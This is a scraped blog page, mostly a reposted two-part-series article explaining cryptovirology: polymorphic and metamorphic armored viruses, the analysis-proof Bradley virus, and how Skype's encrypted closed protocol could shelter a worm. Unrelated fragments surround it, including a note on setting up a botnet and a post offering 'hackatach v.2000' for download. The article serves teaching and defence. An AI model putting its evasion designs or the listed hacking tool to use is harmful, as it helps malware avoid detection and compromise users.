If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all



This two-part article series looks at how cryptography is a double-edged sword: it is used to make us safer, but it is also being used for malicious purposes within sophisticated viruses. Part two continues the discussion of armored viruses and then looks at a Bradley worm - a worm that uses cryptography in such a way that it cannot be analyzed. Then it is shown how Skype can be used for malicious purposes, with a crypto-virus that is very difficult to detect.

Introduction

In part one of this article series, the concepts behind crytovirology were discussed. Two examples of malicious cryptography were used, involving weaknesses in the SuckIt rootkit and the potential for someone to design an effective SSH worm. The concept of armored viruses were also introduced.

Now in part two, a continued discussion of armored viruses (using polymorphism and metamorphism) will be followed by the concept of a Bradley worm - a worm that uses cryptography so that it cannot be analyzed. The reader will then look at Skype (now owned by eBay) as an example of an application with embedded cryptography and a closed protocol that can be manipulated by an attacker for malicious purposes, making a virus using this approach very difficult for administrators and anti-virus companies to detect.

A brief review: armored viruses

Part one introduced armored viruses, so let's just quickly review that material. We saw that time is a very critical factor for both attack and defense of a virus. Similar techniques used to protect the intellectual property in software is also being used in malware, and for almost the same purposes. A virus employing techniques to avoid or delay the analysis becomes what is called an armored virus. The first public armored virus fulfilling this goal was called Whale and first spread sometime in September 1990. It combined several techniques:

  • Polymorphism: both the binary and the process were ciphered (there were 30 hardcoded versions).
  • Stealth: several interruptions, including debugging ones, are hooked by Whale, and it also hides in high memory before decreasing the max limit of memory known by DOS, which was prominent at the time.
  • Armoring: the code changes depended on the architecture (8088 or 8086), had intense use of obfuscation (useless code, identical conditions, redundant code, and so on) and had what is known as anti-debug (if a debugger is detected, the keyboard is blocked and Whale kills itself).

If these techniques are common nowadays, almost sixteen years later, one can imagine what happens then when such a piece of code reaches the labs of the anti-virus companies.

Now let's jump into the new material and take a closer look at armored viruses.

Shape Shifting (polymorhpism and metamorphism)

I particularly enjoy the definition given by Fred Cohen of a virus:

A virus is a succession of instructions which, once interpreted in the right environment, changes others successions of instructions so that a new copy (optionally different) of itself is created in this environment.

What is particularly interesting here is that the definition already assumes a single virus can have multiple representations. Hence, Cohen also defines two other important notions: a viral set and the evolution:

  • A virus is not defined by a single representation but by the set of all its semantically equivalent representations.
  • The evolution of a virus is the action of one representation changing to another one in the same viral set

Therefore, well-known polymorphism and metamorphism approaches are simply ways for the virus to copy itself differently. But let's look closer at these two techniques.

Polymorphism is a technique used to encrypt the body of a virus, and to create a different deciphering engine and key each time the virus copies itself (see Figure 1, below). As a very rudimentary example, imagine the ciphering instruction is successively an ADD, XOR, ... and that the key changes at each execution. More advanced (and efficient) techniques include:

  • Out-of-order decoder generation: change the order of the nodes in the graph of instructions (compute the length, retrieve esp, deciphering instruction, the loop, ...)
  • Pseudo-random index decryption: instead of deciphering the data linearly, the index changes randomly
  • Multiple code paths: write the same thing in different ways ( xor \%eax, \%eax and movl \$0,\%eax)
  • Junk code: insert useless instructions in between useful ones
  • Register randomization: registers are not pre-assigned to given instructions, but chosen differently for each new generated code
polymorphic evolution of a virus
Figure 1. Different polymorphed copies of the same clear-text virus.

The main weakness of polymorphism is that the deciphered code is always the same, which makes runtime detection much easier. In order to avoid that, metamorphism goes one step further.

Metamorphism is a technique to change the full code of a program each time it copies itself (see Figure 2, below). Polymorphism can be seen as metamorphism specialized to a deciphering routine. Very poor metamorphism can be performed by adding junk code between instructions, permuting use registers and so on. More advanced (and of course, efficient) techniques include:

  • Code permutation: reorder subroutines, blocks in subroutines, ...
  • Execution flow modification: insertion of jmp and call, tests, ...
  • Code integration: code is inserted into another piece of code, and relocation and data references are updated accordingly (an example of this is the virus ZMist)
metamorphic evolution of  a  virus
Figure 2. Copies of the same virus with different syntax.

For those who want to have a deeper look at metamorphism, "Metamorphism in practice" [ref4] is a must-read article. It describes a metamorphic engine which is 90% of the code of the virus:

  • Viral code is disassembled into an intermediate form
  • Redundant and useless instructions are removed
  • Transformations (permutations, registers randomization, and so on) are performed on the clean code
  • Redundant and useless instructions are inserted
  • Code is reassembled and added to the infected files

Here are some final words about polymorphism. It is not only used by malware, but also in shellcode. Designing a good polymorphic engine is, fortunately, not that easy. For malware, it must ensure there is a good randomness between different copies of the malware, otherwise the "fixed points" can be used as signatures. This is beyond the capability of most virus writers.

For shellcode, ciphering instructions can produce forbidden values (such as an unexpected 0x00 in a middle of a strcpy()). Moreover, the multiple NOP that are usually placed right before the shellcode are not part of the ciphered instructions, and must then also be mutated (note that many IDS do not detect anything if you change a NOP for another instruction). But the main cryptographic weakness is that in both cases, the key is present in the code, which makes the analysis easy for both humans and emulators.

So the next question we should ask is: can we build malware without a key or its decoder? You might wonder why we would do that. It is just a matter of tactics. If an attacker removes the key, and the key space is large enough, the right key can not be retrieved. If they remove the deciphering loop, the key is useless as long as the cryptanalyst can not guess what cipher has been used. Hence, the piece of code may evade detection (emulators, IDS, AV) and it can not be analyzed (or the analysis is delayed). But there is may be more options as well.

I lost my keys!

All ciphering algorithms are not equivalent. Some are easy to cryptanalyze, like a XOR ciphering with a short key: an exhaustive attack can be performed. However, if the malware author uses a well-tested algorithm, there is unfortunately no way to retrieve the key. Let us call the first situation outlined as weak crypto, and the second one strong crypto.

If the malware author removes the key, he must find a way to provide it to his piece of code. Thus, the deciphering loop must be preceded by a key computation step.

As we have seen, when we are using weak crypto, the cipher can be broken using an exhaustive attack. Hence, the key recovery step is this attack: it retrieves the right key by exploring the search space. This kind of technique is called Random Decryption Algorithm (RDA). There are 2 kinds of RDA:

  • Deterministic RDA: the computation time is always the same (such as was found in the virus W32/Crypto)
  • Non-deterministic RDA: the computation time can not be guessed (such as with RDA Fighter or W32/IHSix)

Let us go back to the tactical considerations. Weak cryptography is used to be broken, but it still affords the malware enough time to propagate. It also gives a hard time to the emulator if the loop lasts too long. The next question is therefore: can a malware author do it with strong crypto?

Bradley

Bradley [ref 5] is an un-analyzable virus. The general structure is composed of four parts (see Figure 3, where EVP stands for Environmental Viral Payload):

  • A deciphering function D gathers the information needed to compute the key and decipher the corresponding code.
  • Encrypted code EVP1 (key k1) contains all the anti-anti-viral mechanisms.
  • Encrypted code EVP2 (key k2) is in charge of the infection and polymorphism/metamorphism mechanisms.
  • Encrypted code EVP3 (key k3) contains all the optional payloads.
Structure of a Bradley virus
Figure 3. Structure of the virus Bradley.

Most of the crypto used by Bradley is based on the notion of environmental keys, as defined by Riordan and Schneier in 1998. It starts with the notion of key exposure: a mobile agent evolving in a hostile environment can not embed keys because if it is captured, key recovery is immediate and so is its analysis.

Hence, their idea was to build keys "on demand," based on the environment of the mobile agent. Let n be an integer corresponding to an environmental observation, H a hash function, m the hash of the observation n (which will act as an activation value) and k a key. We can define several protocols for key computation. Let us consider two examples:

  1. if H(n) == m, then let k = n (problem: the key transits in clear text).
  2. if (H(H(n)) == m, then let k = H(n). Here the security of k is equal to the security of H, but replays are possible.

These two examples are not very cryptographically resistant, but are provided to give the reader the general idea.

What about the opportunity for environmental observation? There are so many possibilities: time, hash value of a given web page, hash of a RR in a DNS answer, the content of a file on the targets, information contained in an e-mail, weather temperature or stock value, and so on.

So, in Bradley, the deciphering function D needs some information under the control of the attacker to correctly compute the activation value, and then the keys.

The complex part with such malware is to define a clean and efficient key management. So, D gathers the needed information, including the one under the control of the attacker (let it be called a. It computes H(H(n+a)+e1), where e1 denotes the first 512 bits of the encrypted code EVP1, and if it is equal to the activation value m, then the key needed to decipher EVP1 is H(n+a). Otherwise, D disinfects the system from the whole viral code. Next, the nested key k2 = H(c1+k1) is computed (c1 are the 512 last bits of the clear text code VP1). And so on for EVP3 and k3).

For replication, the strategy is to change everything, including the activation value. This can be done by updating the environmental information n, and thus re-compute a new m' and k1'. And since the encrypted code EVP1 changes, so do the nested keys, and the ciphered code.

All mathematical details are explained in, "Strong Cryptography Armoured Computer Viruses Forbidding Code Analysis: the Bradley virus". [ref 5] Interested readers should definitely have a look at the reference. What is particularly interesting is that it proves that the analysis of a code protected by the environmental key generation protocol defined therein is a problem which has an exponential complexity.

From an operational point of view, information leakage is restricted to e1 and to the scan for the given information a, but one can not retrieve it because of the use of the hash function. So, even if this code is detected and put in a lab for study, it wont be analyzed unless this information is retrieved.

Of course, this property itself is really interesting. But there is more an attacker can do with Bradley. If he combines both environmental keys and polymorphism, he effectively get surgical strikes. Assuming the environmental keys depend also on the target:

  • An analyst has no possibility of identifying who is the target.
  • The attacker gains good control on the spreading of the malware:
    • If the target is a person, one can use his email address, or even better, his public key (GPG or SSH, for exampe - after all, public keys are designed to identify a person)
    • If the target is a "group," one needs to find information specific to this group, such as a domain name for a company, or TLD for a country, and so on.
Analysts needs to understand the impact of a Bradley virus and the implications of how effective it could be used my a attacker to commit a crime.

A matter of stealth

An effecitve way for malware not to be eliminated is for it first not to be detected. Let us now see how malware authors try to improve the stealth of their code or their attacks using cryptography.

No deciphering loop?

Let us go back to the structural consideration we had previously discussed, on polymorphism engines. We have already seen that it is possible to avoid embedding a key in the malware.

So, now we have a key and encrypted data that needs to be decrypted. Thus, we need to find a deciphering loop (and moreover it must be the exact inverse function of the ciphering one). Malware is like a parasite, so malware authors try to let them be even more parasitic: in this example, we will use the crypto provided on the infected system (such as CryptoAPI in Windows, or OpenSSL in Unix). Let us now use the CryptoAPI as an example:

int main(int argc, char *argv[])
{
HCRYPTPROV hCryptProv;
HCRYPTHASH hCryptHash;
HCRYPTKEY hCryptKey;
BYTE szPassword[] = "...";
DWORD i, dwLength = strlen(szPassword);
BYTE pbData[] = "...";

CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, 0);
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hCryptHash);
CryptHashData(hCryptHash, szPassword, dwLength, 0);
CryptDeriveKey(hCryptProv, CALG_RC4, hCryptHash,
CRYPT_EXPORTABLE, &hCryptKey);
CryptEncrypt(hCryptKey, 0, TRUE, 0, pbData, &dwLength, dwLength);
}

Deciphering is done by replacing CryptEncrypt() by CryptDecrypt(), and the algorithm used is changed by modifying a single constant.

Building shellcode using the CryptoAPI is exactly the same as what is usually done when writing a shellcode for Windows. It starts by looking up kernel32.ddl, and then GetProcAddress() and LoadLibrary(). Now, one has to load advapi32.dll and find the previously mentioned functions, then call them to decipher the code before running it.

This overall approach can be interesting for multistage shellcode which will then protect the information sent to the target host. For malware, using big and complex external libraries can make the work of emulators much more complicated. The main problem with such a trick is that the sequence of functions is easily recognizable.

Embedded crypto abused

Skype can be considered by some researchers to be a naturally armored, human-propagating virus. This statement is meant to be humorous, of course, but we will see as a case study what this actually implies and what can be done with all the available features of an application like Skype that has embedded crypto. [ref 6]

The Skype binary is protected with several layers of ciphering, and many integrity checks are spread all around the code. From a network perspective, Skype is able to defeat any firewall by tunneling its traffic. It attempts to connect to a login server and other specific servers through port 80 or 443. But if these ports are not open, it also tries other ports with TCP and UDP. Moreover, the protocol is fully closed: no documentation is available. But above all, users click and install this application it confidently.

Authentication is based on a central server owned by Skype (and its parent company, eBay). The binary embeds 13 public keys related to Skype and the login server. When a client logs in:

  • A 1024 bits RSA key (p, s) is generated.
  • A session key k is generated.
  • The user provides his password.

Then, a computation is made, and authentication data is sent to Skype's login server:

RSAskype(k || AES256k(p || MD5( || "\nskyper\n" || ))))

So, RSA is used with one of Skype's public keys. It is used to cipher the session key k. This key k is used to cipher the new pubic key p of the user with AES256. Last but not least, an MD5 hash of the authentication information is sent, which is the login and the password. Hence, one just needs to get the MD5( || "\nskyper\n" || ) to log in as a given user. All other information is either public (Skype's key) or provided on demand.

From a cryptographic point of view, the main flaw is that replay is possible. Thus, if someone (other than Skype) can talk Skype and capture the traffic, he can re-use the authentication information to impersonate a user.

Now let's see what could be done maliciously with Skype by an attacker.

From the inside, many types of crypto are used, but there is also compression, and all of these are with an undocumented protocol: no one will be able to detect malicious traffic, which is perfect for a malware's stealth. However, compared to SSH or SuckIt as we have previously seen, there is no way to execute arbitrary code on a client: the attacker needs an application level flaw.

From the outside, the connection between clients looks to be direct, even if it is proxied by other nodes or supernodes. This, unfortunately, would be excellent for the accuracy of a worm in such an environment. And finally, the P2P infrastructure itself is very redundant and dynamic, which provides a virtual playground for the survivability of malicious malware. Hence, once a flaw is found in the Skype application (or in an external library used by Skype), a worm would have a very, very good network with which to grow.

Let's imagine a worm for this example. It could exploit a remote flaw in a single UDP packet or a few TCP ones (this is not fiction or a dream ... see the Black Hat Europe presentation, "Silver Needle in the Skype". [ref 6]. The worm could bypass firewalls to reach LANs, and connect to/from the LAN to anywhere on the Internet. Of course, it could also use the "secure channel," that is, the closed-but-encrypted protocol to avoid detection by IDS/IPS. And thanks to the P2P infrastructure and some of its inherent features, accuracy would be around 100%:

  • If the worm is on a client, it could propagate using the "search for buddy" algorithm and check for their presence on the network.
  • If the worm is on a supernode, the worm could attack all its clients.

With something like five million users using Skype at any one time, one can imagine what such a worm could do. It could be catastrophic. The payload could be anything, but just as an example it could change Skype's public keys and disconnect the user... who will not be able to reconnect.

This is the central idea behind creating a Skype Private Network. If someone cleans the binary (in other words, removes the ciphering layers, integrity checks, and so on), and then changes the public keys embedded in the binary, but also some hard coded IPs (login servers, supernodes), and if he provides his own login servers and supernodes, the attacker would have a private network under his control. This addresses one of the main criticisms of Skype. Since Skype is its own certification entity, it can do anything it wants. Hopefully the security community can open the eyes of Skype developers to this pending problem.

Final words

There are many other ways where crypto could be use to improve the efficiency of a malicious attack. For instance, consider the survivability of malware. A malicious coder could try to make some kind of immortal malware, something as pervasive as Explorer running on Windows. But the attacker might also make the malware become more valuable or integral to the user when it is alive and not killed/removed - such that even if it is detected, the user would not want to delete it because the death of the malware will result in a loss of critical data that is simply too valuable for the user.

Examples used in this article series have been taken from different domains, from the exploitation of human beings (using SSH) to strong crypto that is badly used (the SuckIT rootkit, or a malicious use of Skype). In reality, we only have focused on three properties in this article: accuracy, time and stealth.

We have also seen that all this is a matter of perspective. Polymorphism can be used in a defensive way to protect the analysis of a code, in a neutral way to avoid detection, and in an offensive way for surgical strikes. This is all the same for crypto. We must understand the approaches used by sophisticated attackers if we are to defend against them.

Author acknowledgments

Special thanks to all of those who helped me to study this topic and write this article, providing ideas, comments, diet coke and much more.

References

[ref 4] Metamorphism in practice
The Mental Driller, 29A, vol. 6

[ref 5] Strong Cryptography Armoured Computer Viruses Forbidding Code Analysis: the Bradley virus
Éric Filiol, Proceedings of the 14th EICAR Conference, 2005

[ref 6] Silver Needle in the Skype
P. Biondi, F. Desclaux, Black Hat Amsterdam, 2006

Disclaimer

The nature of cryptography has become one where it can be used for malicious purposes just as it is used to make systems and networks more secure. SecurityFocus, and its parent company Symantec, do not necessarily endorse the approaches discussed in this article. The editorial team abides by the ethical mantra of Do No Evil, and we believe that cryptographic approaches must be discussed from all angles if they are to truly keep us safe.




About Special Security

~ Posted by Joe2010 | Tagged with | Leave a Comment

.๑.About Special Security .๑.

Finally, after the effort that has decided to devote the Blog of a simple touch to help the Visitors and friends, where I refer in particular to the themes of protection and do not forget all the new tools and useful programs, news, books, and with the benefit of developers and users of all kinds ...
For this I hope with all my heart to be of your satisfaction and Remember that do mind about your opinions and share your comments, which is an important stimulus and encouragement to contribute to the progress of these circumstances the Blog simple,,,







hackatach v.2000

~ Posted by Joe2010 | Tagged with | 2 Comments

hackatach v.2000
~~Download



s

~ Posted by Joe2010 | | Leave a Comment











































 
Free directory submissions
>: Blog directory Computers blogs Blog Directory & Search engine Computer Security Blogs - BlogCatalog Blog Directory Yoomp blog search directory
Click here to Vote! Hacker TopsitesClick

رشحنا في دليل المواقع العربية دليل المواقع المغرب بلس رشحنا في AlamNew links - دليل عالم نيو رشحنا في دليل مواقع لايف نت